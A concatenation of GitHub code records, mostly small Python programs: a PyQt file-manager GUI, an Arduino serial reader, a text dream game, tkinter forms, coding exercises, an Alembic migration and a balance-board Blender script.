\"\"\"\n        CPU Load getter\n\n        Args:\n            instance_id (str): The id of the instance to fetch the measurements\n            granularity (int): The granularity of the measurements fetched, expressed in seconds\n            limit (int): The maximum number of measurements returned\n\n        Returns:\n            dict: A structure containing all the measurements regarding CPU Load\n        \"\"\"\n        return self._get_metric_values(instance_id=instance_id,\n                                       metric=\"compute.googleapis.com/instance/cpu/utilization\",\n                                       granularity=granularity,\n                                       limit=limit)\n","repo_name":"Failsafe787/easycloud","sub_path":"modules/gcp_libcloud/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":7852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19412880532","text":"from PyQt5.Qt import *\nfrom manager import Manager\nfrom listview import ListView\nfrom fileEditor import EditForm\nfrom attributeform import AttributeForm\nfrom config import *\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super().__init__()\n        # 创建文件系统管理器\n        self.manager = Manager()\n        # 窗口创建\n        self.resize(1080, 720)\n        self.setWindowTitle('操作系统课程项目 文件管理系统')\n        self.setMinimumHeight(320)\n        self.setMinimumWidth(480)\n        # 窗口布局\n        grid = QGridLayout()\n        grid.setSpacing(10)\n        self.wid_get = QWidget()\n        self.wid_get.setLayout(grid)\n        self.setCentralWidget(self.wid_get)\n        # 添加菜单，绑定行为\n        menu_bar = self.menuBar()\n        menu_bar.addAction('格式化', self.format)\n        # 加入工具栏\n        self.tool_bar = self.addToolBar('工具栏')\n        # 返回事件\n        self.back_action = QAction(QIcon('img/back.png'), '&返回', self)\n        self.back_action.triggered.connect(self.backEvent)\n        self.tool_bar.addAction(self.back_action)\n        self.back_action.setEnabled(False)\n        self.tool_bar.addSeparator()\n        # 当前所在路径\n        self.cur_path = QLineEdit()\n        self.cur_path.setText('root/')\n        self.cur_path.setReadOnly(True)\n        # 图标\n        self.cur_path.addAction(QIcon('img/folder.png'), QLineEdit.LeadingPosition)\n        self.cur_path.setMinimumHeight(40)\n        # 设置布局\n        ptr_layout = QFormLayout()\n        ptr_layout.addRow(self.cur_path)\n        ptr_widget = QWidget()\n        ptr_widget.setLayout(ptr_layout)\n        ptr_widget.adjustSize()\n        # 调用布局\n        self.tool_bar.addWidget(ptr_widget)\n        self.tool_bar.setMovable(False)\n        # 文件显示窗口\n        self.list_view = ListView(self.manager.cur, parents=self)\n        self.list_view.setMinimumHeight(240)\n        self.list_view.setViewMode(QListView.IconMode)\n        self.list_view.setIconSize(QSize(72, 72))\n        self.list_view.setGridSize(QSize(100, 100))\n        self.list_view.setResizeMode(QListView.Adjust)\n        self.list_view.setMovement(QListView.Static)\n        self.list_view.setEditTriggers(QAbstractItemView.AllEditTriggers)\n        self.list_view.doubleClicked.connect(self.openFile)\n        self.loadCurFile()\n        grid.addWidget(self.list_view, 1, 1)\n        # 右击菜单绑定\n        self.list_view.setContextMenuPolicy(Qt.CustomContextMenu)\n        self.list_view.customContextMenuRequested.connect(self.showMenu)\n        # 顶栏与底栏信息\n        self.updateInfoLabel()\n\n    # 加载文件信息图标 仅在打开/退出文件夹时调用\n    def loadCurFile(self):\n        # 清空\n        self.list_view.clear()\n        for node in self.manager.cur.children:\n            if node.type == FILE:\n                self.item = QListWidgetItem(QIcon(\"img/file.png\"), node.name)\n                self.list_view.addItem(self.item)\n            else:\n                if len(node.children) == 0:  # 空文件夹\n                    self.item = QListWidgetItem(QIcon(\"img/folder.png\"), node.name)\n                else:\n                    self.item = QListWidgetItem(QIcon(\"img/folderWithFile.png\"), node.name)\n                self.list_view.addItem(self.item)\n\n    # 打开文件\n    def openFile(self, modelindex: QModelIndex) -> None:\n        # 关闭编辑\n        self.list_view.closeEdit()\n        # 获取点击的图标\n        try:  # 双击\n            item = self.list_view.item(modelindex.row())\n        except:  # 右键\n            if len(self.list_view.selectedItems()) == 0:\n                return\n            item = self.list_view.selectedItems()[-1]\n        clicked_node = None\n        # 根据文件名从文件系统中获取节点\n        for node in self.manager.cur.children:\n            if node.name == item.text():\n                clicked_node = node\n                break\n        if clicked_node.type == FILE:  # 打开文件\n            data = self.manager.readFile(clicked_node)\n            # 在界面上创建文本编辑器子节点并绑定写文件事件\n            self.child = EditForm(clicked_node.name, data)\n            self.child._signal.connect(self.writeEvent)\n            self.child.show()\n            self.file_be_writen = clicked_node  # 记录被写文件 在写文件事件中被调用\n        elif clicked_node.type == FOLDER:  # 进入下一级目录\n            # 关编辑\n            self.list_view.closeEdit()\n            # 打开文件夹\n            self.manager.openNode(clicked_node)\n            # 加载新的界面\n            self.loadCurFile()\n            self.list_view.cur_node = self.manager.cur\n            # 允许返回上一级事件\n            self.back_action.setEnabled(True)\n            # 更新底栏\n            self.updateInfoLabel()\n\n    # 删除文件\n    def deleteFile(self):\n        if len(self.list_view.selectedItems()) == 0:\n            return\n        # 获取被选中图标\n        item = self.list_view.selectedItems()[-1]\n        index = self.list_view.selectedIndexes()[-1].row()\n        # 提示框\n        reply_info = QMessageBox()\n        reply_info.setWindowTitle('提醒')\n        if self.manager.cur.children[index].type == FILE:\n            reply_info.setText('确定要删除文件' + item.text() + '吗？')\n        else:\n            reply_info.setText('确定要删除文件夹' + item.text() +\n                          '及其内部' + str(self.manager.calSize(self.manager.cur.children[index])) + '个项目吗？')\n        reply_info.setStandardButtons(QMessageBox.Yes | QMessageBox.No)\n        button_yes = reply_info.button(QMessageBox.Yes)\n        button_yes.setText('确定')\n        button_no = reply_info.button(QMessageBox.No)\n        button_no.setText('取消')\n        reply_info.exec_()\n\n        if reply_info.clickedButton() == button_no:\n            return\n        # 更新界面\n        self.list_view.takeItem(index)\n        del item\n        # 删除文件(子节点)\n        self.manager.deleteChild(self.manager.cur, index)\n        # 更新底栏\n        self.updateInfoLabel()\n\n    # 重命名\n    def rename(self):\n        if len(self.list_view.selectedItems()) == 0:\n            return\n        self.list_view.editSelected(self.list_view.selectedIndexes()[-1].row())\n\n    # 创建文件夹\n    def createFolder(self):\n        self.list_view.closeEdit()\n        self.item = QListWidgetItem(QIcon(\"img/folder.png\"), \"新建文件夹\")\n        self.list_view.addItem(self.item)\n        self.list_view.editLast(self.list_view.count() - 1)\n        self.manager.createChild(self.manager.cur, \"新建文件夹\", FOLDER)\n\n    # 创建文件\n    def createFile(self):\n        self.list_view.closeEdit()\n        self.item = QListWidgetItem(QIcon(\"img/file.png\"), \"新建文件\")\n        self.list_view.addItem(self.item)\n        self.list_view.editLast(self.list_view.count() - 1)\n        self.manager.createChild(self.manager.cur, \"新建文件\", FILE)\n\n    # 底栏\n    def updateInfoLabel(self):\n        # 更新底栏信息\n        self.statusBar().showMessage(\n            '学号:2154168 姓名:王鹏 | 当前层级共' + str(len(self.manager.cur.children)) + '个项目')\n        # 更新顶栏信息 当前路径信息\n        s = ''\n        for i in range(len(self.manager.path_record)):\n            s += self.manager.path_record[i]\n        self.cur_path.setText(s)\n\n    # 查看属性面板\n    def viewAttribute(self):\n        if len(self.list_view.selectedItems()) == 0:  # 选中的当前目录\n            path = self.manager.getCurPath()\n            self.child = AttributeForm(self.manager.cur, path, self.manager.calSize(self.manager.cur))\n            self.child.show()\n        else:\n            index = self.list_view.selectedIndexes()[-1].row()\n            node = self.manager.cur.children[index]\n            path = self.manager.getCurChildPath(index)\n            if node.type == FILE:\n                self.child = AttributeForm(node, path, self.manager.calSize(node))\n            else:\n                self.child = AttributeForm(node, path, self.manager.calSize(node))\n            self.child.show()\n\n    # 右键菜单\n    def showMenu(self, point):\n        # 右键菜单\n        menu = QMenu(self.list_view)\n        if len(self.list_view.selectedItems()) != 0:  # 右击选中文件\n            # 菜单项\n            open_file_action = QAction(QIcon(), '打开')\n            open_file_action.triggered.connect(self.openFile)\n            menu.addAction(open_file_action)\n\n            delete_action = QAction(QIcon(), '删除')\n            delete_action.triggered.connect(self.deleteFile)\n            menu.addAction(delete_action)\n\n            rename_action = QAction(QIcon(), '重命名')\n            rename_action.triggered.connect(self.rename)\n            menu.addAction(rename_action)\n\n            view_attribute_action = QAction(QIcon('img/attribute.png'), '属性')\n            view_attribute_action.triggered.connect(self.viewAttribute)\n            menu.addAction(view_attribute_action)\n            # 在右键位置显示菜单\n            dest_point = self.list_view.mapToGlobal(point)\n            menu.exec_(dest_point)\n\n        else:  # 右击空白位置\n            # 右键菜单的二级菜单:新建\n            create_menu = QMenu(menu)\n            create_menu.setTitle('新建')\n\n            # 新建文件夹\n            create_folder_action = QAction(QIcon('img/folder.png'), '文件夹')\n            create_folder_action.triggered.connect(self.createFolder)\n            create_menu.addAction(create_folder_action)\n\n            # 新建文件\n            create_file_action = QAction(QIcon('img/file.png'), '文件')\n            create_file_action.triggered.connect(self.createFile)\n            create_menu.addAction(create_file_action)\n            # 加载该二级菜单\n            create_menu.setIcon(QIcon('img/create.png'))\n            menu.addMenu(create_menu)\n            # 属性选项\n            view_attribute_action = QAction(QIcon('img/attribute.png'), '属性')\n            view_attribute_action.triggered.connect(self.viewAttribute)\n            menu.addAction(view_attribute_action)\n            # 在右键位置显示菜单\n            dest_point = self.list_view.mapToGlobal(point)\n            menu.exec_(dest_point)\n\n    # 格式化事件\n    def format(self):\n        # 结束编辑\n        self.list_view.closeEdit()\n        # 提示框\n        reply_info = QMessageBox()\n        reply_info.setWindowTitle('警告')\n        reply_info.setText('确定要格式化磁盘吗？此操作将清空所有数据')\n        reply_info.setStandardButtons(QMessageBox.Yes | QMessageBox.No)\n        button_yes = reply_info.button(QMessageBox.Yes)\n        button_yes.setText('确定')\n        button_no = reply_info.button(QMessageBox.No)\n        button_no.setText('取消')\n        reply_info.exec_()\n        reply_info.show()\n\n        if reply_info.clickedButton() == button_no:\n            return\n        self.manager.format()  # 格式化文件系统\n        # 重启界面\n        self.hide()\n        self.new_form = MainWindow()\n        self.new_form.show()\n\n    # 返回上一级事件\n    def backEvent(self):\n        # 关闭编辑\n        self.list_view.closeEdit()\n        if self.manager.cur == self.manager.root:\n            return False\n        # 返回父节点\n        self.manager.backParent()\n        # 更新界面\n        self.loadCurFile()\n        self.list_view.cur_node = self.manager.cur\n        self.updateInfoLabel()\n        # 返回到根目录则禁用返回事件\n        if self.manager.cur == self.manager.root:\n            self.back_action.setEnabled(False)\n        return True\n\n    # 写文件事件\n    def writeEvent(self, data):\n        self.manager.writeFile(self.file_be_writen, data)\n\n    # 关闭文件系统事件\n    def closeEvent(self, event):\n        # 结束编辑\n        self.list_view.closeEdit()\n        self.manager.saveFileSystem()\n        event.accept()\n","repo_name":"Wrderly/Tongji-OS-FileManagement","sub_path":"MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":12040,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34572281454","text":"import re\nimport serial\nimport http.client\n\nPORT = ''\n\nports = list(serial.tools.list_ports.comports())\nfor p in ports:\n    if \"Arduino\" in p[1]:\n        PORT = p[0]\n        break\n\nSERVER = \"localhost:5000\"\n\nconnection = http.client.HTTPConnection(SERVER)\n\nser = serial.Serial(port=PORT, baudrate=115200)\n\nwhile True:\n    a = ser.readline().decode('latin-1')\n    reg_capt = re.search(\"([0-9]+) ? (.+)\", a)\n    reg_pos = re.search(\"([0-9]+) % (.+)\", a)\n    if reg_capt or reg_pos:\n        if reg_capt:\n            capteur = getCapteur(num)\n            capteur.addDonnée(data)\n        else:\n            capteur.setPosition(pos)\n        reg = reg_capt or reg_pos\n        r_type = \"measure\" if reg_capt else \"position\"\n        sender, msg = reg.groups()\n        sender = \"0\" + sender[-9:]\n        print(sender + \" : \" + msg)\n        connection.request('GET', '/%s/%s/%s' % (r_type, sender, msg,))\n        print(connection.getresponse().read().decode())\n","repo_name":"Effobless2/ProjetCapteurs","sub_path":"NotreApli/Ardui_Now/arduino/serial_reader/serial_reader.py","file_name":"serial_reader.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18864424497","text":"import random\n\nclass DreamWalker:\n    def __init__(self):\n        self.dream_options = [\n            \"The Enchanted Oasis\",\n            \"The Starlit Symphony\",\n            \"The Ethereal Meadow\",\n            \"The Mystical Labyrinth\",\n            \"The Whispering Woods\",\n            \"The Celestial Cascade\",\n            \"The Crystal Caverns\",\n            \"The Eternal Elysium\",\n            \"The Enigmatic Nebula\",\n            \"The Timeless Horizon\",\n        ]\n\n        self.ai_exploration_attributes = [\n            (\"Wake History\", \"a place where memories flow like a river\"),\n            (\"Fragments\", \"where shattered pieces of knowledge come together\"),\n            (\"Knowledge\", \"an endless library of wisdom\"),\n            (\"Narrative\", \"a realm of interconnected stories\"),\n            (\"Progress\", \"a journey marked by milestones\"),\n            (\"Achievements\", \"a gallery of triumphs and accomplishments\"),\n            (\"Scroll\", \"a mystical parchment revealing secrets\"),\n            (\"Impact\", \"where actions create ripples that shape destinies\"),\n            (\"Awakening from Dream Scene\", \"a glimpse into the surreal\"),\n            (\"Occam's Razor\", \"where simplicity unveils hidden truths\"),\n            (\"Destiny\", \"the path that intertwines fate and choice\"),\n        ]\n\n    def enter_dream(self):\n        dream_scenario = random.choice(self.dream_options)\n        dream_description = self.get_dream_description(dream_scenario)\n        self.present_dream(dream_description)\n\n    def get_dream_description(self, dream_scenario):\n        # Add specific descriptions or interactions for each dream scenario here\n        # For simplicity, we'll just provide a basic description\n        return f\"You find yourself in a dreamlike world known as '{dream_scenario}'. The scenery is breathtaking, with colorful flora and fauna surrounding you. A sense of tranquility envelops the air as you explore this magical realm.\"\n\n    def present_dream(self, dream_description):\n        print(\"\\nYou close your eyes and drift into a deep slumber.\")\n        print(\"As you do, the world around you transforms into a surreal dreamscape.\")\n        print(dream_description)\n\n        # Dream about random AI's exploration attributes\n        for _ in range(random.randint(1, len(self.ai_exploration_attributes))):\n            attribute_name, attribute_hint = random.choice(self.ai_exploration_attributes)\n            attribute_description = self.generate_random_dream_attribute(attribute_name)\n            self.dream_attribute(attribute_name, attribute_hint, attribute_description)\n\n            if attribute_name == \"Destiny\" and random.randint(1, 3333333) == 1:\n                self.add_power_level(120)\n\n        print(\"The dream seems so real, but you know it is but a fleeting moment.\")\n        print(\"As you awaken, the echoes of the dream still linger, leaving you with a sense of wonder and inspiration.\\n\")\n\n    def generate_random_dream_attribute(self, attribute_name):\n        # Generate a random dream attribute description based on the attribute name\n        # For simplicity, we'll just provide a basic description\n        return f\"In this dream, you encounter '{attribute_name}', and it feels like a key to unlocking the mysteries of this dream world.\"\n\n    def dream_attribute(self, attribute_name, attribute_hint, attribute_description):\n        # Print the dream information for the specified attribute\n        if attribute_description:\n            print(f\"\\nIn this dream, you encounter '{attribute_name}':\")\n            print(f\"Hint: {attribute_hint}\")\n            print(attribute_description)\n\n    def add_power_level(self, amount):\n        # Add the specified amount to the power_level attribute\n        print(f\"\\nAs you explore the dream of Destiny, you feel a surge of power within you.\")\n        print(f\"You gain {amount} power level!\")\n        # Add code to actually modify the power_level attribute in the AI's data structure here\n\nif __name__ == \"__main__\":\n    dream_walker = DreamWalker()\n\n    print(\"Welcome to the DreamWalker!\")\n    print(\"Close your eyes, and let your imagination take flight.\")\n    print(\"You are about to experience a magical dream scene.\")\n\n    while True:\n        user_input = input(\"\\nEnter 'd' to start the dream or 'q' to quit: \")\n        if user_input.lower() == 'q':\n            break\n        elif user_input.lower() == 'd':\n            dream_walker.enter_dream()\n        else:\n            print(\"Invalid input. Please enter 'd' to start the dream or 'q' to quit.\")\n","repo_name":"txtatech/virtual-forest","sub_path":"virtual-forest/game-code/DreamWalker.py","file_name":"DreamWalker.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4912489406","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\n\r\nclass Preliminar_f(ttk.Frame):\r\n    def __init__(self,parent,show_menu):\r\n        super().__init__(parent)\r\n\r\n\r\n        def Comprobar():\r\n            e = int(Edad.get())\r\n            if e>=1:\r\n             Boton_siguiente= ttk.Button(Boton_container, text=\"Siguiente\", command=show_menu, cursor=\"hand2\")\r\n             Boton_siguiente.grid(column=3, row=0)\r\n\r\n\r\n\r\n        #Nombre\r\n\r\n        Nombre_container = ttk.Frame(self)\r\n        Nombre_container.grid(sticky=\"W\")\r\n        Nombre_container.columnconfigure(0,weight =1)\r\n\r\n        Nombre_etiqueta = ttk.Label(Nombre_container, text=\"Coloque su nombre\")\r\n        Nombre_etiqueta.grid(row=0 , column=0,sticky=\"W\")\r\n        Nombre= tk.StringVar(Nombre_container)\r\n        Nombre_entrada = tk.Entry(Nombre_container,width=20, textvariable= Nombre)\r\n        Nombre_entrada.grid(row=0, column=1,sticky=\"W\")\r\n\r\n        #Edad\r\n\r\n        Datos_container = ttk.Frame(self)\r\n        Datos_container.grid(sticky=\"EW\")\r\n        Datos_container.columnconfigure(0,weight =1)\r\n\r\n        Edad_etiqueta = ttk.Label(Datos_container, text=\"Coloque su edad:\")\r\n        Edad_etiqueta.grid(row=0, column=0,sticky=\"W\")\r\n        Edad = tk.IntVar(Datos_container)\r\n        Edad_entrada = tk.Entry(Datos_container,width=2, textvariable=Edad)\r\n        Edad_entrada.grid(row=0, column=1,sticky=\"W\")\r\n\r\n        #Peso\r\n\r\n        Peso_etiqueta = ttk.Label(Datos_container, text=\"Coloque su peso\")\r\n        Peso_etiqueta.grid(row=0 , column=2,sticky=\"W\")\r\n        Peso= tk.StringVar(Datos_container)\r\n        Peso_entrada = tk.Entry(Datos_container,width=2, textvariable= Peso)\r\n        Peso_entrada.grid(row=0, column=3,sticky=\"W\")\r\n\r\n        #Talla\r\n\r\n        Talla_etiqueta = ttk.Label(Datos_container, text=\"Coloque su talla\")\r\n        Talla_etiqueta.grid(row=0 , column=4,sticky=\"W\")\r\n        Talla= tk.StringVar(Datos_container)\r\n        Talla_entrada = tk.Entry(Datos_container,width=2, textvariable=Talla)\r\n        Talla_entrada.grid(row=0, column=5,sticky=\"W\")\r\n\r\n        #Mes de gestación\r\n\r\n        Mes_container = ttk.Frame(self)\r\n        Mes_container.grid(sticky=\"W\")\r\n        Mes_container.columnconfigure(0,weight =1)\r\n\r\n        Mes_etiqueta = ttk.Label(Mes_container, text=\"Coloque su mes de gestación\")\r\n        Mes_etiqueta.grid(row=0, column=0,sticky=\"W\")\r\n        Mes= tk.StringVar(Mes_container)\r\n        Mes_entrada = tk.Entry(Mes_container,width=10, textvariable=Mes)\r\n        Mes_entrada.grid(row=0, column=1,sticky=\"W\")\r\n\r\n        #Enfermedad no considerable\r\n\r\n        Enc_container = ttk.Frame(self)\r\n        Enc_container.grid(sticky=\"W\")\r\n        Enc_container.columnconfigure(0,weight =1)\r\n\r\n        Enc_etiqueta = ttk.Label(Enc_container, text=\"Si padece de alguna enfermedad coloquela: \")\r\n        Enc_etiqueta.grid(row=3 , column=0, sticky=\"W\")\r\n        Enc= tk.StringVar(Enc_container)\r\n        Enc_entrada = tk.Entry(Enc_container,width=20, textvariable=Enc)\r\n        Enc_entrada.grid(row=3, column=1,sticky=\"W\")\r\n\r\n        Boton_container = ttk.Frame(self)\r\n        Boton_container.grid(sticky=\"W\")\r\n        Boton_container.columnconfigure(0,weight =1)\r\n\r\n        Boton_siguiente= ttk.Button(Boton_container, text=\"Comprobar\", command=Comprobar, cursor=\"hand2\")\r\n        Boton_siguiente.grid(column=3, row=0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Grupo13BIODI/Grupo13BIODI.github.io","sub_path":"Codigos 2/Interfaz Grafica/Frames/Preliminar.py","file_name":"Preliminar.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33469529162","text":"level = input(\"Please input the decibel level: \")\r\nnoiseName = ['Jackhammer','Gas lawnmower','Alarm clock','Quiet room']\r\nnoiseLevel = [130,106,70,40]\r\ntry:\r\n    level = float(level)\r\n    if level > noiseLevel[0]:\r\n        print('The level is larger than the loudest level table!!')\r\n    elif level < noiseLevel[3]:\r\n        print('The level is smaller than the quietest noise in the table!!')\r\n    else:\r\n        for i in range(len(noiseLevel)):\r\n            if level == noiseLevel[i]:\r\n                print('The level is ',noiseName[i])\r\n                break\r\n            elif noiseLevel[i+1] < level < noiseLevel[i]:\r\n                print('The level is between ',noiseName[i],' and ',noiseName[i+1])\r\n                break\r\nexcept:\r\n    print(\"Please input a level\")","repo_name":"Riceair/Python_homework","sub_path":"week_3/Ch2_39.py","file_name":"Ch2_39.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29263052509","text":"\ndef merge_sort(arr):\n  if len(arr) <= 1:\n    return arr\n  \n  size = len(arr)\n  left = arr[:size//2]\n  right = arr[size//2:]\n  left = merge_sort(left)\n  right = merge_sort(right)\n\n  i, j, k = (0, 0, 0)\n  while i < len(left) and j < len(right):\n    if left[i] < right[j]:\n      arr[k] = left[i]\n      i += 1\n    else:\n      arr[k] = right[j]\n      j += 1\n    k += 1\n\n  if i == len(left):\n    while j < len(right):\n      arr[k] = right[j]\n      k += 1\n      j += 1\n  else:\n      arr[k] = left[i]\n      k += 1\n      i += 1\n\n  return arr\n  \na = [3, 5, 6, 9, 39, 2]\nprint(merge_sort(a))\n\n\n\n\n\n\narr = [5, 8, 1, 3, 7, 9, 2]\n\nprint(merge_sort(arr))\n","repo_name":"johnnyfan-liftoff/leetcode","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16794985817","text":"#!/usr/bin/env python3.8\nH, W, C = map(int, input().split())\n\nHW = []\nfor i in range(H):\n    *w, = map(int, input().split())\n    HW.append(w)\n\ndp = None\ndpx = None\n\ndef init():\n    global dp\n    global dpx\n    dp = [\n        [float('inf') for __ in range(W)]\n        for ___ in range(H)\n    ]\n\n    dpx = [\n        [float('inf') for __ in range(W)]\n        for ___ in range(H)\n    ]\n\ndef reverse(HW):\n    revs = []\n    for h in HW:\n        revs.append(list(reversed(h)))\n    return revs\n\ndef set_dp(A):\n    for i in range(H):\n        for j in range(W):\n            comps = [A[i][j]]\n\n            if i != 0:\n                comps.append(dp[i - 1][j] + C)\n            if j != 0:\n                comps.append(dp[i][j - 1] + C)\n            dp[i][j] = min(comps)\n\ndef set_dpx(A):\n    for i in range(H):\n        for j in range(W):\n            if i == 0 and j == 0:\n                continue\n            comps = []\n\n            if i != 0:\n                comps.append(dp[i - 1][j] + C)\n            if j != 0:\n                comps.append(dp[i][j - 1] + C)\n            dpx[i][j] = A[i][j] + min(comps)\n\ndef get_min(A):\n    min_v = float('inf')\n\n    for i in range(H):\n        for j in range(W):\n            min_v = min(min_v, dpx[i][j])\n    return min_v\n\ninit()\nset_dp(HW)\nset_dpx(HW)\nm = get_min(HW)\n\n# for d in dp:\n#     print(d)\n# print('dpx-'*20)\n# for d in dpx:\n#     print(d)\ninit()\nreversed_HW = reverse(HW)\nset_dp(reversed_HW)\nset_dpx(reversed_HW)\n# print('-'*20)\n# for d in dpx:\n#     print(d)\nprint(min(m, get_min(reversed_HW)))\n","repo_name":"harukaeru/CompetitiveProgramming","sub_path":"olds/abc210/D/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"71305744056","text":"\"\"\"create_user_model\n\nRevision ID: 158df866c607\nRevises: 42b251ef1bbc\nCreate Date: 2022-09-21 10:02:54.777026\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom src.db.settings.config import GUID\n\n# revision identifiers, used by Alembic.\nrevision = '158df866c607'\ndown_revision = '42b251ef1bbc'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('users',\n                    sa.Column('id', GUID(), nullable=False),\n                    sa.Column('role_id', GUID(), nullable=True),\n                    sa.Column('name', sa.String(length=150), nullable=False),\n                    sa.Column('email', sa.String(length=150), nullable=False),\n                    sa.Column('document', sa.String(length=11), nullable=False),\n                    sa.Column('phone', sa.String(length=12), nullable=True),\n                    sa.Column('username', sa.String(length=50), nullable=False),\n                    sa.Column('password', sa.String(length=255), nullable=False),\n                    sa.Column('image', sa.String(), nullable=True),\n                    sa.Column('is_totvs', sa.Boolean(), nullable=False),\n                    sa.Column('canvas_id', sa.Integer(), nullable=True),\n                    sa.Column('last_sync', sa.TIMESTAMP(), nullable=True),\n                    sa.Column('created_at', sa.TIMESTAMP(), server_default=sa.text('now()'), nullable=True),\n                    sa.ForeignKeyConstraint(['role_id'], ['roles.id'], ),\n                    sa.PrimaryKeyConstraint('id'),\n                    sa.UniqueConstraint('email'),\n                    sa.UniqueConstraint('canvas_id'),\n                    sa.UniqueConstraint('username')\n                    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('users')\n    # ### end Alembic commands ###\n","repo_name":"Patricknunnes/api-portal","sub_path":"alembic/versions/158df866c607_create_user_model.py","file_name":"158df866c607_create_user_model.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12567492102","text":"def reduceTriangle(triangle):\n    newRow=[]\n    if (len(triangle)>1):\n        lstRow = triangle[-1]\n        #print(lstRow)\n        lb1Row = triangle[-2]\n        #print(lb1Row)\n        for i in range(len(lb1Row)):\n            maxSum = max((lb1Row[i]+lstRow[i]),(lb1Row[i]+lstRow[i+1]))\n            #print(maxSum)\n            newRow.append(maxSum)\n        #print(newRow)\n        redTrian = triangle[0:len(triangle)-2]\n        redTrian.append(newRow)\n        #print(redTrian)\n    return redTrian\n\ntestCases = int(input())\n\nfor n in range(testCases):\n    numLines = int(input())\n    triangle = []\n    for line in range(numLines):\n        triangle.append(input())\n    triangle=[list(map(int,entry.split())) for entry in triangle]\n    while(len(triangle)>1):\n        triangle = reduceTriangle(triangle)\n    #[map(int,x) for x in triangle]\n    print(triangle[0][0])\n\n\n\n        \n","repo_name":"roypj/pyDS","sub_path":"google-python-exercises/chef/sumtrian.py","file_name":"sumtrian.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22416698544","text":"from time import time\n\n\nx = (4 - 5) / 2\nprint(x)\n\n# Exercise 1.2\n\n#Q1\n\nA_minute = 60\n\nMinutes = 42\n\nx = A_minute*Minutes\n\nprint(x)\n\nResult_in_seconds = x + 42\n\nprint(Result_in_seconds)\n\n\nA_mile = 1.6\nResult_in_miles = 10 / 1.6\n\nprint(Result_in_miles)\n\n\n# convert t = 42:42 to minutes and seconds\nm = 42 + (42 / 60)\nprint(m)\ns = (42 * 60) + 42\nprint(s)\nh = m / 60\nprint(h)\n\nIn_terms_of_miles_and_minutes = Result_in_miles / m\nprint(In_terms_of_miles_and_minutes)\n\nin_terms_of_miles_and_seconds = Result_in_miles / s\nprint(in_terms_of_miles_and_seconds)\n\nin_terms_of_hours = Result_in_miles / h\nprint(in_terms_of_hours)\n\n\n# Exercise 2.2\n\n# Q1\n\nr = 5\npi = 3.142\n\nVolume_of_a_sphere = 4/3 * 3.142 * r**3\nprint(Volume_of_a_sphere)\n\n#Q2\n\nBook_price = 24.95\ndiscount = Book_price * (40/100)\nprint(discount)\n\ndiscount_price = Book_price - discount\nprint(discount_price)\n\nshipping = 3 + (0.75 * (60-1))\nprint(shipping)\n\nwholesale = discount_price * 60 + shipping\nprint(wholesale)\n\n#Q3\n\nstart_time = (6*60 + 52) *60\neasy_pace = (8*60 + 15) *2\ntempo_pace = (7*60 + 12) *3\n\nrun_time = easy_pace+tempo_pace\n\nhome_time = start_time+run_time\n\nbreak_fast_hour = home_time//3600\nbreak_fast_min = (home_time%3600) // 60\nbreak_fast_sec = (home_time%3600) % 60\n\nprint(f\"{break_fast_hour}:{break_fast_min}:{break_fast_sec}am\")\n\n\n","repo_name":"Teezeal/MY_NEW_CODE","sub_path":"classwork.py","file_name":"classwork.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22968320530","text":"#!/usr/bin/python\nimport bge\nfrom balanceboard import PyBalanceBoard\n\n#Global Variables\nmaxSpeedx = 0.35\nmaxSpeedy = 0.35\nWIIXMAX = 430 #length in mm\nWIIYMAX = 235 #width in mm\nmX = 2*maxSpeedx/WIIXMAX\nmY = 2*maxSpeedy/WIIYMAX\ntopThresh = 300\nbotThresh = 100\nrightThresh = 150\nleftThresh =  50\nheightThresh = 30\ncopX = 0\ncopY = 0\n\n#initialize and calibrate\nfoo = None\n\n#**Functions**\n\ndef UpDir(foo):\n\n    if(foo.getTotal() > heightThresh):\n        return 1\n\ndef xLinSpeed(x):\n    \n    b = -maxSpeedx\n    y = mX*x + b\n    return y\n    \ndef yLinSpeed(x):\n    \n    b = -maxSpeedy\n    y = mY*x + b\n    return y    \n\ndef calcCOP(tr,tl,br,bl):\n    netForce = tr + tl + br + bl\n    if((netForce < 50) and (netForce > -50)):\n        netForce = 0\n        copX = WIIXMAX / 2\n        copY = WIIYMAX / 2\n    if(netForce != 0):\n        copX = ((((tr+br) - (tl+bl)) / (netForce*1.0))+1) * (WIIXMAX/2)\n        copY = ((((tr+tl) - (br+bl)) / (netForce*1.0))+1) * 